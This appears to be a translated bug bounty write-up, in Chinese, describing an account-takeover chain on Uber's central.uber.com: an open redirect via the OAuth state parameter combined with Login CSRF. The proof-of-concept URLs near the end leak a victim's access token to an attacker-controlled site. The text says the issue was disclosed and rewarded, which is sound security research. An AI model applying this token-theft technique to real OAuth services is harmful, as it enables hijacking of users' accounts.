我研究Uber漏洞已經(jīng)有一段時(shí)間了,而這是我第一次發(fā)布關(guān)于Uber漏洞挖掘的報(bào)告,希望可以給大家提供一些有趣的挖洞思路。在這篇文章中,我將會(huì)跟大家分享一個(gè)我在Uber系統(tǒng)中發(fā)現(xiàn)的有趣漏洞(Login CSRF + 開(kāi)放重定向 -> 賬戶接管)。

長(zhǎng)話短說(shuō)
這個(gè)漏洞存在于Uber的central.uber.com節(jié)點(diǎn),它使用了OAuth 2.0協(xié)議作為其登錄授權(quán)機(jī)制,但該節(jié)點(diǎn)并沒(méi)有正確使用CSRF參數(shù),這將導(dǎo)致攻擊者能夠利用這種錯(cuò)誤使用的狀態(tài)參數(shù)來(lái)執(zhí)行開(kāi)放重定向以及Login CSRF,然后在實(shí)現(xiàn)重定向之后竊取URL哈希中的訪問(wèn)令牌。
central.uber.com的登錄流程
首先大家要了解central.uber.com的登錄流程(修復(fù)前),當(dāng)用戶點(diǎn)擊了central.uber.com頁(yè)面中的登錄按鈕之后,系統(tǒng)的運(yùn)行機(jī)制和跳轉(zhuǎn)如下:
1. https://central.uber.com/login?state=/somewhere
2. https://login.uber.com/oauth/authorize?response_type=code&scope=profile%20history&client_id=bOYt8vYWpnAacUZt9ng2LILDXnV-BAj4&redirect_uri=https%3A%2F%2Fcentral.uber.com%2Foauth2-callback&state=%2Fsomewhere
3. https://central.uber.com/oauth2-callback?state=%2F&code=it53JtFe6BPGH1arCLxQ6InrT4MXdd
4. https://central.uber.com/somewhere
注:如果你想充分理解這個(gè)漏洞的話,你首先必須要清楚該節(jié)點(diǎn)所采用的用戶登錄流程,所以請(qǐng)各位多花點(diǎn)時(shí)間好好看看上面給出的跳轉(zhuǎn)鏈接。
當(dāng)我看到了整個(gè)登錄流程之后,我首先想到的攻擊方法是將狀態(tài)參數(shù)/somewhere修改為//google.com來(lái)實(shí)現(xiàn)一次可能的開(kāi)放重定向。修改之后的登錄流程如下:
1. https://central.uber.com/login?state=//google.com
2. https://login.uber.com/oauth/authorize?response_type=code&scope=profile%20history&client_id=bOYt8vYWpnAacUZt9ng2LILDXnV-BAj4&redirect_uri=https%3A%2F%2Fcentral.uber.com%2Foauth2-callback&state=%2F%2fgoogle.com
3. https://central.uber.com/oauth2-callback?state=%2F%2fgoogle.com&code=it53JtFe6BPGH1arCLxQ6InrT4MXdd
4. //google.com
果然不出我所料,我成功地將這個(gè)登錄流程變成了一個(gè)開(kāi)放重定向漏洞,但Uber并不接受關(guān)于開(kāi)放重定向漏洞的報(bào)告,所以我還得想辦法通過(guò)這個(gè)漏洞找到其他更有意思的漏洞。但不管怎么樣,這仍然是一個(gè)非常好的開(kāi)端。
由于Oauth請(qǐng)求使用的是code而并非token,所以即便是我們找到了一個(gè)開(kāi)放重定向漏洞,我們也仍然無(wú)法利用它來(lái)竊取到任何信息。那如果我們將請(qǐng)求所使用的code轉(zhuǎn)換為token的話,又會(huì)發(fā)生什么呢?
1. https://login.uber.com/oauth/authorize?response_type=token&scope=profile%20history&client_id=bOYt8vYWpnAacUZt9ng2LILDXnV-BAj4&redirect_uri=https%3A%2F%2Fcentral.uber.com%2Foauth2-callback&state=%2F%2fgoogle.com
2. https://central.uber.com/oauth2-callback?state=%2F%2fgoogle.com#access_token=xxxxx
3. 無(wú)法實(shí)現(xiàn)重定向
由于我們這里沒(méi)有給https://central.uber.com/oauth2-callback提供有效的code值,所以在上述的第2步之后才沒(méi)能實(shí)現(xiàn)重定向。如果無(wú)法實(shí)現(xiàn)重定向,那我們就沒(méi)辦法竊取到訪問(wèn)令牌了。所以我們得想辦法解決這個(gè)問(wèn)題,我們需要一個(gè)針對(duì)oauth2-callback節(jié)點(diǎn)的有效code值。
Login CSRF
在這種情況下,Login CSRF就要派上用場(chǎng)了。由于這個(gè)Uber節(jié)點(diǎn)會(huì)在重定向時(shí)使用 CSRF參數(shù)狀態(tài),所以我們可以直接將攻擊者的有效OAuth code添加到oauth2-callback節(jié)點(diǎn),然后將其發(fā)送給目標(biāo)用戶。當(dāng)用戶訪問(wèn)了這條鏈接之后,就可以被正確地重定向到攻擊者所控制的頁(yè)面并泄露其訪問(wèn)令牌。
限制
利用這個(gè)漏洞時(shí)唯一的要求就是目標(biāo)用戶的瀏覽器中已經(jīng)存儲(chǔ)了login.uber.com的身份認(rèn)證會(huì)話信息(session)。由于central.uber.com是Uber的官方OAuth客戶端,所以每一位Uber用戶默認(rèn)都會(huì)接受central.uber.com的請(qǐng)求。
概念驗(yàn)證PoC
PoC
https://login.uber.com/oauth/authorize?response_type=token&scope=profile%20history%20places%20ride_widgets%20request%20request_receipt%20all_trips&client_id=bOYt8vYWpnAacUZt9ng2LILDXnV-BAj4&redirect_uri=https%3A%2F%2Fcentral.uber.com%2Foauth2-callback%3fcode%3d攻擊者的有效OAuth code&state=%2F%2f攻擊者控制的站點(diǎn)
PoC登錄流程
1.https://login.uber.com/oauth/authorize?response_type=token&scope=profile%20history%20places%20ride_widgets%20request%20request_receipt%20all_trips&client_id=bOYt8vYWpnAacUZt9ng2LILDXnV-BAj4&redirect_uri=https%3A%2F%2Fcentral.uber.com%2Foauth2-callback%3fcode%3d{攻擊者的有效OAuth code}&state=%2F%2f攻擊者控制的站點(diǎn)
2.https://central.uber.com/oauth2-callback?state=%2F%2fhackerone.com&code={攻擊者的有效OAuth code}#access_token={目標(biāo)用戶的訪問(wèn)令牌}
3.//hackerone.com#accesstoken={目標(biāo)用戶的訪問(wèn)令牌}
總結(jié)
終于搞定啦!我已經(jīng)將這個(gè)漏洞上報(bào)給了Uber的安全技術(shù)團(tuán)隊(duì),Uber也在確認(rèn)了漏洞信息之后給我提供了8000美刀的漏洞獎(jiǎng)勵(lì)。
感謝大家的閱讀,如果你有什么其他的觀點(diǎn)或想法,請(qǐng)趕緊與我聯(lián)系吧!281936@qq.com
|